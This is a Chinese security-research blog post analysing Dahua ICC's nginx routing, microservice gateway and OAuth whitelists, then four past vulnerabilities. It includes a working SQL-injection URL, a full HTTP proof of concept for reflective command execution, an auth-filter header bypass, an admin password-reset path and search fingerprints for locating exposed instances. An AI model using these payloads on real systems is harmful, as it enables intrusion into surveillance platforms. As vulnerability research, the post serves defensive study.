某华ICC智能物联综合管理平台历史漏洞分析(一)——从两层接口转发到漏洞利用
1diot9 Lv5

本文仅用于网络安全研究与技术交流目的,所涉及的技术、方法及示例仅限于在合法授权的环境下进行测试与学习。严禁将本文内容用于任何未授权的攻击行为或非法用途。因读者不当使用本文内容而造成的任何直接或间接后果,均由使用者自行承担,作者不承担任何责任。请在遵守相关法律法规及道德规范的前提下开展安全研究工作。

由于笔者水平有限,文中难免存在不足,欢迎指正与交流。

前言

这次来看看大华ICC。这是第一个接触到的微服务系统,还有个nginx网关,所以在接口转发关系上花费了不少时间,远程调试也是踩坑不少,故写笔记分享,希望能帮大家节约一点时间。

本文目标:

1、了解大华ICC的项目结构

2、分析在nginx层的接口转发

3、分析evo-apigw微服务如何进行网关转发,微服务如何在evo-discover中注册,evo-oauth怎么进行认证

4、对evo-apigw系列的微服务和evo-runs分别进行鉴权分析

5、对4个历史漏洞进行分析

6、盘点过程中的疑难杂症

部分文档见:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0

让我们开始吧。

项目分析

大华ICC的结构相对复杂一些,这里只分析我认为比较重要的。

img

3rdtool是第三方的软件,比如nginx,rabbitmq:

img

evo是核心源码,存放了各个模块。

evoWpms是静态资源的存放目录,由evo/evo-web部署,其在nginx有配置,可以通过 https://xxx/static/xxx的方式,直接访问到里面的静态资源,后面会讲。

详细看看evo:

img

evo-common是主要业务目录,存放了各个微服务

evo-subsystem是子系统,主要是视频监控系统的各个服务,且主要都是二进制程序

evo-web是前端模块安装包,只起到备份作用,实际都安装到了evoWpms目录中

看一下evo-common:

img

evo开头的,每个都对应一个微服务。

evo-apigw做网关,复制分发部分请求。evo-discover起到注册中心和服务发现的作用。evo-oauth是基于oauth2的认证服务,经过apigw,且不在白名单的接口,都需要经过oauth2认证。evo-runs模块是后台配置中心专用的服务,不走apigw网关,有自己的一套鉴权。evo-arms与其他微服务不一样,启动的是一个go的二进制文件,而不是jar,该微服务不走oauth鉴权。其他微服务这里不展开了。


看一下evo-subsystem:

img

进Evo-video:

img

这里是视频监控系统的各个服务,除了admin模块外,其他都是二进制文件启动的。


看一下evo-web:

img

再看看evoWpms:

img

可以看到是有一一对应关系的,其中Evo-web-oms对应config。

至此,项目结构大致看完了,接下来看看nginx网关配置。

nginx网关

nginx.conf

先看总配置文件nginx.conf:

img

主要关注圈起来的文件。

upstream.conf

upstream.conf:

img

这里设置了三个upstream名称,其中runs_backend在漏洞分析时会经常看到,因为对应的是evo-runs微服务:

img

web_local_runs.conf

web_local_runs.conf:

img

img

监听8005,location文件在location_runs.conf,看一下:

img

可以通过/evo-runs的方式访问微服务,会转发到https://runs_backend,这个在upstream里有。

可以通过:8005/config的方式,访问管理后台:

img

web_local_https_entry.conf

web_local_https_entry.conf:

img

img

开在443端口,location文件在location_https.conf,看一下:

这个文件很长,因为包含了从443端口访问的各种转发规则

img

img

img

能够看到/brm/和/evo-apigw/都被转发到https://hauc_backend/;同时,也有之前的/evo-run/,所以也可以从443端口访问到管理后台:

img

img

另外能看到默认路径全部访问前端静态资源,对应文件路径在 /opt/evoWpms,所以后面经常能看见把命令执行结果写入/opt/evoWpms/static/xxx,然后通过https://xxxx/static/xxx去访问执行结果。

apigw系列

api/evo_apigw.conf:

img

定义了apigw的端口,即evo-apigw这个微服务。

websocket/keepalive_event_websocket.conf:

img

websocket/websocket_admin_backend.conf:

img

http目录里是空的。

至此,nginx网关的规则基本看完了。最后来总结一下所有的upstream名称:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#跳转服务器配置
#运维管理
upstream runs_backend {
server 127.0.0.1:8006;
check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false;
ip_hash;
}

#weboss
upstream oss_backend {
server 127.0.0.1:8927;
check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false;
ip_hash;
}

#fsugw
upstream fsugw_backend {
server 127.0.0.1:9088;
check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false;
ip_hash;
}


upstream hauc_backend {
server 192.168.131.46:8945 weight=1 max_fails=2;
}

upstream keepalive_event_websocket {
server 192.168.131.46:8919;
keepalive 32;
ip_hash;
}

upstream websocket_admin_backend {
server 192.168.131.46:9407;
keepalive 32;
ip_hash;
}

以及一些重要的location:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#运维接口访问路由
location ^~/evo-runs/ {
#include mysite.rules;
proxy_pass http://runs_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-NET-FLAG $x_net_flag;
proxy_set_header X-LC-MappingNet $x_lc_mapping_net;
proxy_send_timeout 1800;
proxy_read_timeout 1800;
proxy_ssl_ciphers ALL:!EXP:!NULL:!ADH:!LOW:!SSLv2:!SSLv3:!MD5:!RC4;
}

#管理端接口对外访问路由
location ^~ /evo-apigw/ {
if ($deny_request) {
return 404;
}
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-NET-FLAG $x_net_flag;
proxy_set_header X-LC-MappingNet $x_lc_mapping_net;
proxy_send_timeout 600;
proxy_read_timeout 600;
set $rewriteFlag 0;
set $localHost $host;
if ($http_RewriteHost != "") {
set $rewriteFlag "${rewriteFlag}1";
}
set $testFlag 0;
set $testToken $http_authorization;
if ($http_x_subject_token != "") {
set $testFlag "${testFlag}1";
}
if ($http_authorization = "") {
set $testFlag "${testFlag}1";
}
if ($testFlag = "011") {
set $testToken $http_x_subject_token;
}
if ($http_Host != $http_RewriteHost) {
set $rewriteFlag "${rewriteFlag}1";
}
if ($rewriteFlag = "011") {
set $localHost $http_RewriteHost;
}
if ($rewriteFlag != "011") {
set $localHost $host:$server_port;
}

proxy_set_header authorization $testToken;
proxy_set_header Host $localHost;

if ($rewriteFlag = "011") {
proxy_pass https://$http_RewriteHost:$http_RewritePort;
break;
}
proxy_pass https://hauc_backend/;
proxy_cookie_path ~*/* /evo-apigw;
proxy_ssl_ciphers ALL:!EXP:!NULL:!ADH:!LOW:!SSLv2:!SSLv3:!MD5:!RC4;

proxy_intercept_errors on; # 允许Nginx拦截后端返回的错误代码
if ($request_uri ~* .*evo-oss.*) {
error_page 302 = @handle_redirects_with_evo_pic; # 当接收到302状态码时,触发内部重定向到新的URL
}
}

接下来要分析微服务网关evo-apigw是怎么进行转发的。

evo-apigw网关

这里先给出一个最简单的,获取所有注册微服务的办法,需要在部署的机器上执行:

1
2
curl http://127.0.0.1:8916/evo-discover/1.0.0/srd/subsystem
curl http://127.0.0.1:8916/evo-discover/1.0.0/srd/version/list

img

第一个命令的结果整理一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
{
"code": "0",
"data": {
"systemList": [
{
"address": "127.0.0.1",
"developerModel": "prod",
"extParams": null,
"index": 1,
"keepaliveConnInfo": null,
"magic": "mes_bc:24:11:1c:9a:6a_7086",
"name": "evo-mes",
"port": 7086,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": "websocket_admin_backend"
},
"magic": "admin_BC-24-11-1C-9A-6A_9407",
"name": "admin",
"port": 9407,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-runs-adapt_BC-24-11-1C-9A-6A_8007",
"name": "evo-runs-adapt",
"port": 8007,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": "keepalive_event_websocket"
},
"magic": "evo-event_BC-24-11-1C-9A-6A_8919",
"name": "evo-event",
"port": 8919,
"version": "1.2.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {
"syncSource": "NACOS"
},
"index": 0,
"keepaliveConnInfo": null,
"magic": "192.168.131.46#8923#DEFAULT#DEFAULT_GROUP@@evo-package",
"name": "evo-package",
"port": 8923,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-emap_BC-24-11-1C-9A-6A_8920",
"name": "evo-emap",
"port": 8920,
"version": "1.1.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-cascade_BC-24-11-1C-9A-6A_8948",
"name": "evo-cascade",
"port": 8948,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "nacos-sync_BC-24-11-1C-9A-6A_8916",
"name": "nacos-sync",
"port": 8916,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-linkage_BC-24-11-1C-9A-6A_8922",
"name": "evo-linkage",
"port": 8922,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-oauth_BC-24-11-1C-9A-6A_8917",
"name": "evo-oauth",
"port": 8917,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-dahua-open-api_BC-24-11-1C-9A-6A_9141",
"name": "evo-dahua-open-api",
"port": 9141,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-apigw_BC-24-11-1C-9A-6A_8945",
"name": "evo-apigw",
"port": 8945,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {
"syncSource": "NACOS"
},
"index": 0,
"keepaliveConnInfo": null,
"magic": "192.168.131.46#8916#DEFAULT#DEFAULT_GROUP@@nacos:nacos-sync",
"name": "nacos:nacos-sync",
"port": 8916,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {
"cascade": [
{
"cascadeProtocol": "icc",
"domainConfigPage": "/evo_cascade/domain_edit.html"
}
]
},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-brm_BC-24-11-1C-9A-6A_8918",
"name": "evo-brm",
"port": 8918,
"version": "1.2.1"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-log_BC-24-11-1C-9A-6A_8924",
"name": "evo-log",
"port": 8924,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {
"httpsPort": 8928
},
"index": 0,
"keepaliveConnInfo": null,
"magic": "bc:24:11:1c:9a:6a",
"name": "evo-oss",
"port": 8927,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-mr_BC-24-11-1C-9A-6A_9610",
"name": "evo-mr",
"port": 9610,
"version": "1.0.0"
},
{
"address": "127.0.0.1",
"developerModel": "prod",
"extParams": null,
"index": 1,
"keepaliveConnInfo": null,
"magic": "flv_bc:24:11:1c:9a:6a_7886",
"name": "flv",
"port": 7886,
"version": ""
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 1,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-doc_BC-24-11-1C-9A-6A_9139",
"name": "evo-doc",
"port": 9139,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": {},
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": null,
"tcpKeepaliveInfos": null,
"websocketBackend": null
},
"magic": "evo-job_BC-24-11-1C-9A-6A_8915",
"name": "evo-job",
"port": 8915,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": "prod",
"extParams": null,
"index": 0,
"keepaliveConnInfo": {
"httpKeepaliveInfos": [],
"tcpKeepaliveInfos": [],
"websocketBackend": ""
},
"magic": "evo-arsm_bc:24:11:1c:9a:6a_8956",
"name": "evo-arsm",
"port": 8956,
"version": "1.0.0"
},
{
"address": "192.168.131.46",
"developerModel": null,
"extParams": null,
"index": 0,
"keepaliveConnInfo": null,
"magic": "192.168.131.46_6556",
"name": "paas-Fnode",
"port": 6556,
"version": "1.1.1"
}
]
},
"errMsg": "",
"success": true
}

上面就是所有注册的微服务。但并不是所有的微服务,都是通过apigw进行转发的。

来梳理一下evo-apigw是怎么起到微服务网关的作用的,evo-discover是怎么起到注册中心和服务发现的作用的,evo-brm等服务是怎么注册到evo-discover的,evo-oauth是怎么起到认证作用的,这三者之间的交互是怎么样的。

evo-apigw

先看application.properties:

img

img

register系列的配置,是大华自己实现的逻辑,代表微服务注册。

system.name定义了微服务名称。

再看component.properties:
img

register.server系列的配置,代表了微服务注册中心。

register.node系列配置,代表了微服务的名称,端口等。

register.subsystem系列配置,代表了此微服务的版本,是否需要订阅微服务列表等信息。

oauth相关配置是认证服务用的。

上面的配置说明,这个微服务evo-apigw,会向127.0.0.1:8916这个注册中心进行自动注册,且自动订阅所有的微服务;oauth认证在这个微服务不生效,默认放行所有路由。

这里剧透一下,oauth认证是在apigw转发后的具体微服务里做的。

现在要分析一下,apigw网关具体是怎么转发请求到各个微服务的。

一个关键类com.dahua.evo.apigw.config.CustomRouteLocator,其转发逻辑,本质上基于Zuul网关:

img

会根据服务名生成 /服务名/** 这一类 Zuul 路由。而服务名来自对evo-discover的订阅服务。

具体会在com.dahua.evo.apigw.config.CustomRouteLocator#getMatchingRoute做转换:

img

具体细节不展开了,本质还是Zuul网关转发。

evo-discover

evo-discover是一个tomcat项目,其位于\opt\evo\evo-common\Evo-discover\evo-discover:
img

所以源码位于WEB-INF/classes,记得在idea里添加为库。

其核心类为com.dahua.evo.discover.business.controller.DiscoverController:

img

从方法注解就能看出各个接口的作用。

比如看这个/register,一看就知道是用来注册服务的。再看一下RegisterDTO这个参数:

img

其内部类Param,与上面分析evo-apigw配置文件的结果能够对应。

总结一下,注册中心discover大致有以下职能:

1、其他微服务调用/register接口注册,注册完返回一个token

2、其他微服务带着token,请求/heartbeat保活,让注册中心知道其他微服务正常

3、其他微服务带着token和monitor(回调地址),请求/subscribe,向注册中心订阅微服务列表

4、定时将微服务列表变化推送给订阅者

com.dahua.evo.discover.business.service.impl.NotifyServiceImpl:

img

能看到注册中心对apigw是有特殊关照的,专门有个静态final变量,保存apigw的回调地址。

evo-brm

这里主要关注evo-brm这种微服务是怎么注册到evo-discover中的。

依旧是配置文件:

img

img

img

img

再加上lib里的discover客户端依赖:

img

能够判断,启动时,会自动调用discover客户端读取配置文件,然后注册到evo-discover。

关于oauth配置,要看jar包里的oauth.properties:
img

能看到有不需要oauth鉴权的接口:

1
oauth.permit=/**/secret-problem/list,/**/user/is-exist,/**/secret-problem/verify,/**/user/password-reset,/**/user/login,/**/index,/**/user/login-out,/**/discover/subscribe/callBack,/**/config/get-version,/**/version,/**/without-oauth/select-password-strength,/**/resources-info/all-resource,/**/device/io/import/excel/result/download/*,/**/subsystem/app-page-url,/**/encrypt/public-key,/**/thread/setting/test/**,/**/user/getCode,/**/user/getTime,/**/user/getCodeStat,/**/select-safe-config,/**/thread/setting/test/*,/**/config/product,/**/secret-problem/all,/**/oversea/platformInfo,/**/config/hidden-page-info

evo-oauth

这里只需要知道这个微服务是起到认证服务器的作用就行。

第三方客户端会向它请求token,之后带着token去访问资源服务器,这里的资源服务器指使用oauth认证的各个微服务。

详细分析见后面的“鉴权分析-apigw系列”

/evo-apigw/nacos-sync/xxx.jsp的特殊性

nacos-sync微服务,对应的是8916端口:

img

img

可以看到,8916端口对应的是evo-discover服务,而这个服务的启动参数有些特殊,不是启动一个jar包,而是启动tomcat服务,能够看到

1
-Dcatalina.base=/opt/evo/evo-common/Evo-discover/tomcat

于是查看该目录下的tomcat配置文件。

查看conf/server.xml:

img

img

img

img

有两个service,一个是8916端口,srd目录下的catalina service;另一个是8848端口,nacos下的nacos service。不过nacos-sync微服务对应的是8916端口,所以这里只关注catalina service就行。

看一下srd目录:

img

现在能够理清了:

1
2
3
4
5
6
/evo-apigw/nacos-sync/xxx.jsp
-> nginx 去掉 /evo-apigw/
-> evo-apigw 收到 /nacos-sync/xxx.jsp
-> 按服务名 nacos-sync 路由到 8916
-> 8916 上的 Tomcat 按 context path=/nacos-sync 处理
-> 最终落到 tomcat/srd/nacos-sync 对应的 webapp 目录

所以我们可以往/opt/evo/evo-common/Evo-discover/tomcat/srd/evo-discover或者/opt/evo/evo-common/Evo-discover/tomcat/srd/nacos-sync目录下写jsp文件,然后通过/evo-apigw/nacos-sync/xxx.jsp或/evo-apigw/evo-discover/xxx.jsp去访问jsp文件,这样就可以从任意写提升到RCE。

特殊情况

evo-apigw在获取微服务列表时,会单独去掉evo-job,所以没办法在外网访问evo-job了:

当调试apigw时,在org.springframework.web.servlet.DispatcherServlet#doDispatch打断点,这样一定能停下来。

小结

这里针对漏洞挖掘总结一下。

1、/evo-apigw/xxx系列接口的命名规则

在漏洞分析中,经常看到 /evo-apigw/evo-brm/1.0.0/xxx 类似的接口。

以evo-apigw为网关的微服务,其接口命名都是类似的。

evo-brm这部分,可以看最上面对evo-discover的curl请求列表,也可以看对应微服务的配置文件。

一般都在config/application.properties里,看system.name就行:

img

1.0.0这部分也看配置文件application.properties:
img

比上面的版本小是可以的。

2、oauth认证相关

oauth认证难绕,只能关注不用认证的接口,一般在相应jar包的oauth.properties文件:

img

img

3、/evo-runs/v1.0/xxx

这个没经过apigw网关。白名单接口:

1
spring.interceptor.url=/v1.0/auths/sysusers/login,/v1.0/receive,/v1.0/push,/v1.0/receive/file,/v1.0/push/file,/v1.0/receive/response/file,/v1.0/health,/v1.0/auths/sysusers/publickey,/v1.0/auths/sysusers/v2/security/questions/*,/v1.0/auths/sysusers/forget/pass/login,/v1.0/auths/sysusers/valid/security/answers,/index.html,/v1.0/ws,/v1.0/auths/sysusers/code/time,/v1.0/auths/sysusers/code/digit,/v1.0/auths/sysusers/code,/v1.0/sys/paramConfigs/account,/v1.0/auths/sysmenus/productInfo/query,/v1.0/rose/switch,/v1.0/auths/sysusers/nonce,/v1.0/module/config/global/query/nvxDB/stat,/v1.0/theme/getlastapply,/v1.0/server/module/encode,/v1.0/certificate/download/ca/selfSign,/v1.0/proTypeInfo/query

鉴权分析

evo-apigw系列

通过oauth2协议,且是password模式。

可以参考官方文档:

https://open-icc.dahuatech.com/#/home?url=%3Fnav%3Dwiki%2Fcommon%2Fquickstart.html%23%E9%89%B4%E6%9D%83%E8%AE%A4%E8%AF%81&version=enterprisebase/5.0.17&blank=true

根据client_id、client_secret、access_token等字段,可以得知,由apigw进行转发的微服务,都是通过oauth2协议鉴权的,且这里使用的是password模式。

关于oauth协议,可以看:https://www.bilibili.com/video/BV1FL411h7es

最终的鉴权点在org.springframework.security.oauth2.provider.authentication.OAuth2AuthenticationProcessingFilter#doFilter:

img

能够看到tokenExtractor是BearerTokenExtractor,这也与官方文档中的一致:
img

所以说,apigw系列接口的认证安全,就是oauth2的认证安全。想要绕过oauth2,是困难的。所以,若是想访问apigw系列接口,只能想办法获取用户名和密码,以及client_id和client_secret,然后去申请access_token。这显然也是困难的,只能通过其他地方的信息泄露,或是密码重置等方法。如果能知道或重置system用户,那就可以手动去分配client_id等,见:https://open-icc.dahuatech.com/#/home?url=%3Fnav%3Dwiki%2Fcommon%2Fquickstart.html%23%E7%94%B3%E8%AF%B7%E8%AE%BF%E9%97%AE%E5%87%AD%E8%AF%81&version=enterprisebase/5.0.17&blank=true

evo-run系列

这个也是漏洞分析中经常出现的一个路由。

其鉴权白名单在配置文件中:\opt\evo\evo-common\evo-runs\config\application.properties

img

鉴权采用Filter方式,主要分析AuthFilter和SessionFilter:

img

AuthFilter只对几个接口生效:

img

其中有出现历史漏洞的/receive,/push接口

其doFilter方法也很好绕过,只需要有X-Subject-HeaderFlag: ADAPT请求头,且没有X-Subject-Sign请求头即可:

img

SessionFilter对所有接口生效,但是会放行配置文件中的白名单:

img

img

img

路由分析

微服务大多是spring boot架构的,所以也可以去一个个调试,在doDispatcher打断点,然后把所有controller mapping提取出来。不过经过我的尝试,这里调试时,表达式的执行有很大限制,最后只能用这个代码去提取:

1
2
3
4
5
6
7
8
9
10
new java.lang.StringBuilder()
.append(
this.getWebApplicationContext()
.getBeansOfType(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class)
.values()
.iterator()
.next()
.getHandlerMethods()
)
.toString()

然后自己手动去整理。

最终我只搞了一个evo-runs的,见我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0

漏洞分析

/ars/list SQL注入

参考https://www.cnblogs.com/Domren/articles/19473055

这里的漏洞接口是:https://XXXX/evo-apigw/evo-arsm/1.0.0/ars/list?serviceName=%27+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(0x7e,VERSION(),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-

是evo-arsm这个微服务。

img

这是一个二进制文件,问了一下AI,说是go的编译文件,而且没有oauth认证。

所以里面的接口都是无鉴权的了,但是笔者并不会逆向,所以只能全部交给AI分析,这里就没法结合具体代码分析了。

复现没问题:

img

/push&/receive RCE&文件上传

这是去年护网时候的一个漏洞。

涉及的微服务是evo-runs。

com.dahua.evo.runs.controller.agent.MsgDealConrtoller#push:

img

跟进msgDeal:

img

这里会调用handler的msgDeal,handler从上面获取,跟进getMsgHandler:

img

img

所以在MsgHandler的实现类中,寻找能够利用的msgDeal方法即可。

公开POC中给的是com.dahua.evo.runs.agent.receive.handler.module.OssmConfigHandler#msgDeal:

img

这里有两个利用点,一个是任意文件写入,一个是任意命令执行。

AgentMsgParam是一开始从请求体里读取的,可控,所以由它生成的CommonAgentParam也是可控的。

writeMappingFile会向指定路径写指定内容:

img

而execute,则会代入Runtime去执行命令:

img

需要注意的是,这里会对command做一次变量代换。比如command是:echo {0},args是:{“111”},那么formatCommand后,最终命令会变成:echo 111。所以如果command里出现大括号,得用单引号包裹来进行转义。

复现:

img

img

/GetClassValue RCE

漏洞接口是:/evo-apigw/admin/API/Developer/GetClassValue.jsp

/admin对应 admin微服务,在/evo-subsystem/Evo-video/admin目录下。

/API 是固定的 servlet-path,见配置文件:

img

所以真正对应到controller的,应该是/Developer/GetClassValue,.jsp不知道是做什么的,也许是绕过nginx规则?当经过apigw转发后,.jsp会被rewrite掉,最后请求的还是/Developer/GetClassValue。

com.dahua.admin.restapi.api.developer.DeveloperController#getCache:

img

能通过反射调用任意public方法,所以找一个能利用的方法就行。

这里找到com.dahua.admin.util.RuntimeUtil#syncexecReturnExitValue:

img

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /evo-apigw/admin/API/Developer/GetClassValue.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Host: xxx
Content-Length: 159

{
"data": {
"clazzName": "com.dahua.admin.util.RuntimeUtil",
"methodName": "syncexecReturnInputStream",
"fieldName": ["id"]
}
}

我这边的环境已经修复了,所以没法利用成功,看网上的截图,应该是有直接回显结果的。

修复:

admin/resources/oauth.properties中,会对上面的URL做认证:

img

system用户密码重置漏洞

这里的漏洞接口是:/evo-apigw/evo-runs-adapt/1.0.0/receive

没错,跟evo-runs的一样,也是/receive,在配置文件中放行:
img

controller的类名都一样:

img

所以利用方式也和上面的一样。

看一下这次的handler,com.dahua.evo.runsadapt.business.handler.manage.RestManagePwdHandler#msgDeal:

img

名称很直接了,就叫重置管理员密码。看上去还是请求brm服务重置的。

把evo-brm.jar放进jadx,搜索一下:

img

img

这里有一点疑惑的是,为什么evo-runs-adapt生成的随机token,能通过evo-brm微服务的oauth认证。

好吧,其实就是写在evo-brm的规则里:

img

那很奇怪了,为什么不直接访问/evo-apigw/evo-brm/1.0.0/user/password-reset呢?

好吧,又有反转,直接调是不行的,因为在evo-brm中,会携带evo-runs-adapt发送过来token进行一次回调:

img

这里顺带问了一下AI,这里数据库密码的加密方式是怎么样的:

img

看来这个密码是很难解密了。

当重置完后,用户名和密码为system/123456 。

这个时候,我们就能登录后台,然后跟进官方文档的鉴权过程,去申请client凭证,最后想oauth服务发包,得到access_token:

img

img

好像直接登录也能抓包在请求头看到token,不过我这边环境过期了,登录不了,不知道行不行。

拿到token后,就可以向需要认证的微服务发起访问了,此时攻击面很大,这里留给读者自己去找。

给两个接口作为提示:/evo-brm/1.2.0/user/menu/upload/img、/admin/API/capture/batchDownloadCapturePic

其他漏洞

这里可以使用:https://github.com/R4gd0ll/I-Wanna-Get-All

可以在工具中设置代理,然后抓包看请求,据此去分析漏洞:

img

不过不知道是版本原因还是什么,这里有很多漏洞,我感觉根本利用不了,都没这个接口。

漏洞挖掘思路

以下的思路只是个人最浅薄的一点见解,仅供参考!

不知道新版本修了哪些,这里只能给出基于现版本的挖掘思路。

evo-runs,继续在白名单找能利用的controller(不过似乎没有能用的了);继续找能利用的handler(不知道新版本有没有禁/receive系列接口,禁了话也没用了)。

evo-apigw系列微服务,看看oauth配置文件里放行的接口有没有能利用的。

各种二进制起的服务,逆向分析,看看有没有存在漏洞。(这个感觉还挺有希望)

关注nginx配置里其他端口的服务能不能访问到。

应用指纹

参考https://www.cnblogs.com/priv/p/19296980

fofa语法:icon_hash="-1935899595"title="智能物联综合管理平台"、app=”dahua-智能物联综合管理平台”

title/body中关键字:(这个title是强特征,在源码中显示是这样的三个点)、客户端会小于800智能物联综合管理平台智慧物联运营管理中心大华 ICC 智能物联综合管理平台浩睿智能物联综合管理平台

版权信息:©2019大华股份浙ICP07004180浙公网安备33010802003424号

疑难杂症

断点失败

在调试brm鉴权的时候,明明能连上远程调试,却死活断不下来点。

后面去ps -ef | grep brm,netstat -anp | grep xxx 看了一下对应进程开了哪些端口时,才发现,原来新开的debug brm进程只开了一个12002调试端口,其他端口还是原本的brm服务开的。

当时命令的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@dahuatech:~# netstat -anp | grep -E "17688|24091"
tcp 0 0 192.168.131.46:12002 192.168.26.80:21248 ESTABLISHED 17688/evo-brm
tcp6 0 0 :::8918 :::* LISTEN 24091/evo-brm
tcp6 0 0 :::8941 :::* LISTEN 24091/evo-brm
